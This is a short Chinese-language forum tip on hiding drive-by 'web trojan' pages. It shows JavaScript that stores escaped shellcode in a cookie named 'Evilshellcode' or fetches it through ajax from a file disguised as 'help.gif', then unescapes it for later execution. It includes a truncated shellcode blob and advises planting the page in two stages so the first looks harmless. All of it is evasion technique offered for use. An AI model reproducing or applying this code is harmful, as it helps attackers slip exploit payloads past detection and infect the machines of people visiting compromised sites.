把网马拆分,shellcode代码存在另一个地方。好比把一个网马的shellcode存在cookie里,别一个页面来调用。或是存在另一个文件里用ajax来调用。当然想存更多的代码也可以。
一个网马的tips技术性研究cookie示例代码:
//存放
function setCookie(sVar, sVal){
theCookie = sVar + '=' + sVal + '; expires=Fri, 1 Jul 2020 09:45:27 UTC';
document.cookie = theCookie;}
shellcode="%9090%9090%00e8%0000%5e00%8b64%303d%0000%8100%00c7%0008%8b00%83c7%1dc0%20b9%0001%a500%fde2%e0ff%00e8%0000%6a00%eb08%1b6c%46c6%ed79%ef56%9836%8afe%aa0e%0dfc%9e7c%bbf9%b035%2d49%7edb%e2d8%8e73%0e4e%75ec……"
setCookie('Evilshellcode', shellcode);
//取出
function getCookie(sVar){
cookies = document.cookie.split('; ');
for(var i = 1; i <= cookies.length; i++){
if(cookies[i – 1].split('=')[0] == sVar){return cookies[i – 1].split('=')[1];}}
return '';
}
a=unescape(getCookie('Evilshellcode'))
cookie存放的话,可以挂两次,第一次挂cookie写入代码无害,第二次再取出来结合新挂的代码来运行。怎么用随你了。
ajax来调用
<script src="http://www.xxxxxx.com/files/jquery-1.3.2.min.js" type="text/javascript"></script>
var shellcode = $.ajax({
url: "help.gif",
async: false
}).responseText
help.gif内容
%9090%9090%00e8%0000%5e00%8b64%303d%0000%8100%00c7%0008%8b00%83c7%1dc0%20b9%0001%a500%fde2%e0ff%00e8%0000%6a00%eb08%1b6c%46c6%ed79%ef56%9836%8afe%aa0e%0dfc%9e7c%bbf9%b035%2d49%7edb%e2d8%8e73%0e4e%75ec